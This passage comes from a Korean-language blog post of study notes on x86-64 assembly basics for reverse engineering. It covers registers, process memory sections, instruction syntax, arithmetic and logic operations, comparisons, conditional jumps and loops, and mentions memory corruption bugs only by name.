                                        |&amp;lt;--- ax (16비트) ---&amp;gt;|
                                                 |&amp;lt; ah &amp;gt;|&amp;lt; al &amp;gt;|
                                                 (상위)  (하위)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접두/접미 크기 예시&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;r-&lt;/td&gt;
&lt;td&gt;64비트&lt;/td&gt;
&lt;td&gt;rax, rbx, rsi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;e-&lt;/td&gt;
&lt;td&gt;32비트&lt;/td&gt;
&lt;td&gt;eax, ebx, esi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(없음)&lt;/td&gt;
&lt;td&gt;16비트&lt;/td&gt;
&lt;td&gt;ax, bx, si&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-h / -l&lt;/td&gt;
&lt;td&gt;8비트 상위/하위&lt;/td&gt;
&lt;td&gt;ah/al, bh/bl&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: rax = 0x1122334455667788일 때&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;eax = 0x55667788 (하위 4바이트)&lt;/li&gt;
&lt;li&gt;ax = 0x7788 (하위 2바이트)&lt;/li&gt;
&lt;li&gt;al = 0x88 (최하위 1바이트), ah = 0x77&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 호환성 덕분에 32비트 프로그램(x86)이 x86-64 CPU에서 그대로 실행된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 프로세스 메모리 레이아웃&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;메모리 레이아웃&lt;/b&gt; = 프로세스의 &lt;b&gt;가상 메모리(Virtual Memory)&lt;/b&gt; 구성. OS가 각 프로세스에게 독립된 주소 공간을 할당하고, 용도별로 구획을 나눠 적절한 권한(읽기/쓰기/실행)을 부여한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;섹션 (PE 파일에서 로드됨)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영역 저장되는 것 권한 특징&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;.text&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;실행 가능한 기계 코드&lt;/td&gt;
&lt;td&gt;R-X&lt;/td&gt;
&lt;td&gt;쓰기 불가 (악성코드 삽입 방지)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;.data&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;초기값 있는 전역 변수&lt;/td&gt;
&lt;td&gt;RW-&lt;/td&gt;
&lt;td&gt;실행 중 값 변경 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;.rdata&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;전역 상수, 문자열 리터럴, DLL 정보&lt;/td&gt;
&lt;td&gt;R--&lt;/td&gt;
&lt;td&gt;읽기 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;포인터 분리 예시&lt;/b&gt; :&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;char *str_ptr = &quot;readonly&quot;;
// str_ptr(포인터 변수) &amp;rarr; .data  (값 변경 가능)
// &quot;readonly&quot;(문자열 리터럴) &amp;rarr; .rdata (읽기 전용)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포인터 변수와 그것이 가리키는 실제 데이터는 서로 다른 영역에 저장된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;섹션이 아닌 메모리 (실행 중 생성)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영역 저장되는 것 권한 특징&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;스택&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;지역 변수, 함수 리턴 주소&lt;/td&gt;
&lt;td&gt;RW-&lt;/td&gt;
&lt;td&gt;낮은 주소로 자람, 쓰레드마다 별도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;힙&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;동적 할당 데이터 (malloc 등)&lt;/td&gt;
&lt;td&gt;RW-&lt;/td&gt;
&lt;td&gt;실행 중 할당, 큰 데이터 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스택은 &quot;아래로 자란다&quot;&lt;/b&gt;: 값을 추가하면 주소가 &lt;b&gt;낮아지는&lt;/b&gt; 방향으로 확장. (스택 버퍼 오버플로우 이해의 핵심)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;힙 예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int *heap_data_ptr = malloc(sizeof(int));
// heap_data_ptr(포인터) &amp;rarr; 스택
// malloc이 할당한 실제 공간 &amp;rarr; 힙
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서도 &quot;포인터는 한 영역, 실제 데이터는 다른 영역&quot; 패턴이 반복된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보안 관점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메모리 구조를 조작하는 취약점을 &lt;b&gt;메모리 오염(Memory Corruption)&lt;/b&gt; 이라 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Stack Buffer Overflow&lt;/b&gt;: 스택의 리턴 주소를 덮어써 실행 흐름 탈취&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Use After Free / Double Free&lt;/b&gt;: 힙 할당/해제 관리 오류&lt;/li&gt;
&lt;li&gt;.text에 쓰기 권한이 없는 이유: 공격자의 코드 삽입 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 어셈블리어 기본 문법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;어셈블리 &amp;middot; 어셈블러 &amp;middot; 역어셈블러&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;어셈블리 언어&lt;/b&gt;: 기계어와 1:1 대응되는 사람이 읽을 수 있는 언어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;어셈블러(Assembler)&lt;/b&gt;: 어셈블리 &amp;rarr; 기계어 번역&lt;/li&gt;
&lt;li&gt;&lt;b&gt;역어셈블러(Disassembler)&lt;/b&gt;: 기계어 &amp;rarr; 어셈블리 (리버싱의 핵심 도구)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 &amp;rarr; (컴파일) &amp;rarr; 기계어 리버싱: 기계어 &amp;rarr; (역어셈블) &amp;rarr; 어셈블리 &amp;rarr; 사람이 해석&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Intel vs AT&amp;amp;T 문법&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Intel 문법&lt;/b&gt;: NASM 어셈블러&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AT&amp;amp;T 문법&lt;/b&gt;: GAS(GNU Assembler), 리눅스 환경에서 자주 등장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 구조: Opcode + Operand&lt;/h3&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;mov  eax, 3
 │    │   └── operand2: &quot;3을&quot;
 │    └────── operand1: &quot;eax에&quot;
 └─────────── opcode: &quot;대입해라&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 예시 피연산자 개수&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;mov eax, 3&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;push rbp&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ret&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;imul rax, rdx, 0x3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;명령어 분류 (핵심 21개)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분류 명령어&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;데이터 이동&lt;/td&gt;
&lt;td&gt;mov, lea&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;산술 연산&lt;/td&gt;
&lt;td&gt;inc, dec, add, sub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;논리 연산&lt;/td&gt;
&lt;td&gt;and, or, xor, not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비교&lt;/td&gt;
&lt;td&gt;cmp, test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;분기&lt;/td&gt;
&lt;td&gt;jmp, je, jg ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택&lt;/td&gt;
&lt;td&gt;push, pop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로시저&lt;/td&gt;
&lt;td&gt;call, ret, leave&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템 콜&lt;/td&gt;
&lt;td&gt;syscall&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 피연산자와 크기 지정자&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;피연산자 3종류&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;상수 (Immediate)&lt;/b&gt;: 3, 0xdeadbeef&lt;/li&gt;
&lt;li&gt;&lt;b&gt;레지스터&lt;/b&gt;: rax, ebx&lt;/li&gt;
&lt;li&gt;&lt;b&gt;메모리&lt;/b&gt;: [...] (대괄호 = 그 주소의 실제 값에 접근)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;크기 지정자 (Size Directive)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리 피연산자엔 TYPE PTR로 크기를 명시해야 한다.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov [rdi], eax            ; (X) 몇 바이트 쓸지 불명확
mov DWORD PTR [rdi], eax  ; (O) 4바이트로 명확히 지정
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표기 크기&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BYTE PTR&lt;/td&gt;
&lt;td&gt;1바이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WORD PTR&lt;/td&gt;
&lt;td&gt;2바이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DWORD PTR&lt;/td&gt;
&lt;td&gt;4바이트 (Double Word)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QWORD PTR&lt;/td&gt;
&lt;td&gt;8바이트 (Quad Word)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;매뉴얼 표기법&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;r8/r16/r32/r64: 해당 크기 레지스터&lt;/li&gt;
&lt;li&gt;imm8/imm16/imm32/imm64: 해당 크기 상수&lt;/li&gt;
&lt;li&gt;r/m8/r/m16/r/m32/r/m64: 해당 크기 레지스터 &lt;b&gt;또는&lt;/b&gt; 메모리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: 89 /r MOV r/m32, r32 &amp;rarr; mov DWORD PTR [rdi-0x4], edi&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 데이터 이동 &amp;middot; 산술 &amp;middot; 논리 명령어&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;mov &amp;mdash; 복사/이동&lt;/h3&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov &amp;lt;destination&amp;gt;, &amp;lt;source&amp;gt;   ; source의 값을 destination에 대입

mov rdi, rax        ; 레지스터 &amp;rarr; 레지스터
mov rdi, 1337       ; 상수 &amp;rarr; 레지스터
mov DWORD PTR [addr], eax  ; 레지스터 &amp;rarr; 메모리
mov rax, [rdi]      ; 메모리 &amp;rarr; 레지스터 (rdi가 가리키는 주소의 값)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[]가 붙으면 &quot;주소에 접근&quot;, 안 붙으면 &quot;값 자체&quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;lea &amp;mdash; 주소 계산 (Load Effective Address)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리에 접근하지 않고 &lt;b&gt;유효 주소(주소값)만&lt;/b&gt; 계산.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;; C: int *ptr = &amp;amp;arr[2];
mov rbx, &amp;amp;arr             ; 배열 시작 주소
mov rcx, 2                ; 인덱스
lea rax, [rbx + rcx * 4]  ; rax = 주소값 (실제 값 아님!)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;mov vs lea 결정적 차이&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov rax, [rbx + rcx*4]  ; 그 주소의 실제 값(30)을 가져옴
lea rax, [rbx + rcx*4]  ; 그 주소(1008) 자체를 담음
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버싱에서 lea가 나오면 &quot;주소/포인터를 다루는구나&quot;로 해석.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;add / sub &amp;mdash; 덧셈/뺄셈&lt;/h3&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;add &amp;lt;dst&amp;gt;, &amp;lt;src&amp;gt;   ; dst = dst + src
sub &amp;lt;dst&amp;gt;, &amp;lt;src&amp;gt;   ; dst = dst - src

mov rax, 5
add rax, [num]     ; rax = 5 + (메모리 값 20) = 25
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;mul / imul &amp;mdash; 곱셈&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;곱셈 결과는 원래 크기보다 커질 수 있어 두 레지스터에 나눠 저장.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;mul (부호 없음)&lt;/b&gt; &amp;mdash; 첫 피연산자로 암시적으로 RAX 사용:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크기 계산 결과 저장&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8비트&lt;/td&gt;
&lt;td&gt;AL &amp;times; src&lt;/td&gt;
&lt;td&gt;AX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16비트&lt;/td&gt;
&lt;td&gt;AX &amp;times; src&lt;/td&gt;
&lt;td&gt;상위 DX : 하위 AX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32비트&lt;/td&gt;
&lt;td&gt;EAX &amp;times; src&lt;/td&gt;
&lt;td&gt;상위 EDX : 하위 EAX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64비트&lt;/td&gt;
&lt;td&gt;RAX &amp;times; src&lt;/td&gt;
&lt;td&gt;상위 RDX : 하위 RAX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;imul (부호 있음)&lt;/b&gt; &amp;mdash; 피연산자 1~3개:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;imul &amp;lt;src&amp;gt;                  ; 1개: mul과 유사
imul &amp;lt;dst&amp;gt;, &amp;lt;src&amp;gt;           ; 2개: dst = dst &amp;times; src
imul &amp;lt;dst&amp;gt;, &amp;lt;src&amp;gt;, &amp;lt;imm&amp;gt;    ; 3개: dst = src &amp;times; imm
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 크기 초과로 잘리면 CF, OF를 1로 설정.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;div / idiv &amp;mdash; 나눗셈&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크기 피제수 위치 몫 나머지&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8비트&lt;/td&gt;
&lt;td&gt;AX&lt;/td&gt;
&lt;td&gt;AL&lt;/td&gt;
&lt;td&gt;AH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16비트&lt;/td&gt;
&lt;td&gt;DX:AX&lt;/td&gt;
&lt;td&gt;AX&lt;/td&gt;
&lt;td&gt;DX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32비트&lt;/td&gt;
&lt;td&gt;EDX:EAX&lt;/td&gt;
&lt;td&gt;EAX&lt;/td&gt;
&lt;td&gt;EDX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64비트&lt;/td&gt;
&lt;td&gt;RDX:RAX&lt;/td&gt;
&lt;td&gt;RAX&lt;/td&gt;
&lt;td&gt;RDX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;부호 있음/없음 구분 이유&lt;/b&gt;: &lt;b&gt;최상위 비트(MSB)&lt;/b&gt; 를 해석하는 방식이 다르기 때문. 부호 있는 연산은 MSB로 양수/음수 구분, 부호 없는 연산은 MSB도 숫자값으로 사용.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;and / or / xor / not &amp;mdash; 논리 연산 (비트 단위)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;and&lt;/b&gt;: 둘 다 1일 때 1 &amp;rarr; 비트 마스킹&lt;/li&gt;
&lt;li&gt;&lt;b&gt;or&lt;/b&gt;: 하나라도 1이면 1 &amp;rarr; 비트 설정(Set)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;xor&lt;/b&gt;: 다를 때만 1 &amp;rarr; 비트 토글, 암호화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;not&lt;/b&gt;: 비트 반전&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;관용구&lt;/b&gt;: xor reg, reg = 레지스터를 0으로 초기화 (mov reg, 0보다 짧고 빠름). 같은 값끼리 XOR하면 모든 비트가 같아 결과가 0.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;inc / dec &amp;mdash; 1 증가/감소&lt;/h3&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov rax, 10
inc rax   ; rax = 11
dec rax   ; rax = 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C의 ++, --에 해당. 반복문 카운터에 자주 사용.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 비교와 분기&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;cmp &amp;mdash; 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부적으로 dst - src 뺄셈을 수행하고 &lt;b&gt;플래그만&lt;/b&gt; 갱신 (결과값 버림).&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov rax, 0xA
mov rbx, 0xA
cmp rax, rbx   ; 10-10=0 &amp;rarr; ZF=1 &amp;rarr; &quot;같다&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;test &amp;mdash; AND 기반 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부적으로 dst AND src를 수행하고 플래그만 갱신.&lt;/p&gt;
&lt;pre class=&quot;subunit&quot;&gt;&lt;code&gt;xor rax, rax
test rax, rax  ; 0 AND 0 = 0 &amp;rarr; ZF=1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;관용구&lt;/b&gt;: test rax, rax + je = &quot;rax가 0이면 점프&quot; (NULL 체크, 리턴값 검사).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리: &lt;b&gt;cmp는 뺄셈으로, test는 AND로&lt;/b&gt; 플래그를 갱신.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;분기 명령어&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 보고 실행 흐름(rip)을 변경. 목적지는 &lt;b&gt;레이블(Label)&lt;/b&gt; foo:로 지정.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 의미 C 대응 조건&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;jmp&lt;/td&gt;
&lt;td&gt;무조건 점프&lt;/td&gt;
&lt;td&gt;goto&lt;/td&gt;
&lt;td&gt;항상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;je/jz&lt;/td&gt;
&lt;td&gt;같으면&lt;/td&gt;
&lt;td&gt;==&lt;/td&gt;
&lt;td&gt;ZF=1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jne/jnz&lt;/td&gt;
&lt;td&gt;다르면&lt;/td&gt;
&lt;td&gt;!=&lt;/td&gt;
&lt;td&gt;ZF=0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jg&lt;/td&gt;
&lt;td&gt;크면&lt;/td&gt;
&lt;td&gt;&amp;gt;&lt;/td&gt;
&lt;td&gt;ZF=0 &amp;amp;&amp;amp; SF=OF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jge&lt;/td&gt;
&lt;td&gt;크거나 같으면&lt;/td&gt;
&lt;td&gt;&amp;gt;=&lt;/td&gt;
&lt;td&gt;SF=OF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jl&lt;/td&gt;
&lt;td&gt;작으면&lt;/td&gt;
&lt;td&gt;&amp;lt;&lt;/td&gt;
&lt;td&gt;SF&amp;ne;OF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jle&lt;/td&gt;
&lt;td&gt;작거나 같으면&lt;/td&gt;
&lt;td&gt;&amp;lt;=&lt;/td&gt;
&lt;td&gt;ZF=1 || SF&amp;ne;OF&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;mov eax, -10
mov ebx, 0
cmp eax, ebx   ; -10-0 = -10 &amp;lt; 0 &amp;rarr; SF=1, ZF=0
jl label1      ; 작으면 점프
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;cmp + 조건 점프&lt;/b&gt; 조합이 C의 모든 if문으로 번역된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 반복문&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반복문 = &lt;b&gt;비교 + 분기 + 무조건 점프&lt;/b&gt;의 조합.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C 코드&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;int cnt = 0, sum = 0;
while(cnt &amp;lt;= 100) { sum++; cnt++; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;어셈블리&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;    xor rax, rax     ; sum = 0
    xor rcx, rcx     ; cnt = 0
for_loop:
    cmp rcx, 101     ; cnt를 101과 비교
    jge end          ; cnt &amp;gt;= 101 이면 종료
    inc rax          ; sum++
    inc rcx          ; cnt++
    jmp for_loop     ; 루프 반복
end:
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;세 가지 형태 (조건 검사 시점이 다름)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① 카운터 기반 (C의 for) &amp;mdash; loop 명령어&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;mov rcx, 10
loop_start:
    ; 반복 코드
    loop loop_start  ; rcx 자동 감소, 0 아니면 반복
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② 조건 기반 (C의 while) &amp;mdash; 실행 전 검사&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;check_condition:
    cmp rax, 50
    jge loop_exit
    ; 반복 코드
    jmp check_condition
loop_exit:
&lt;/code&gt;&lt;/pre&gt;
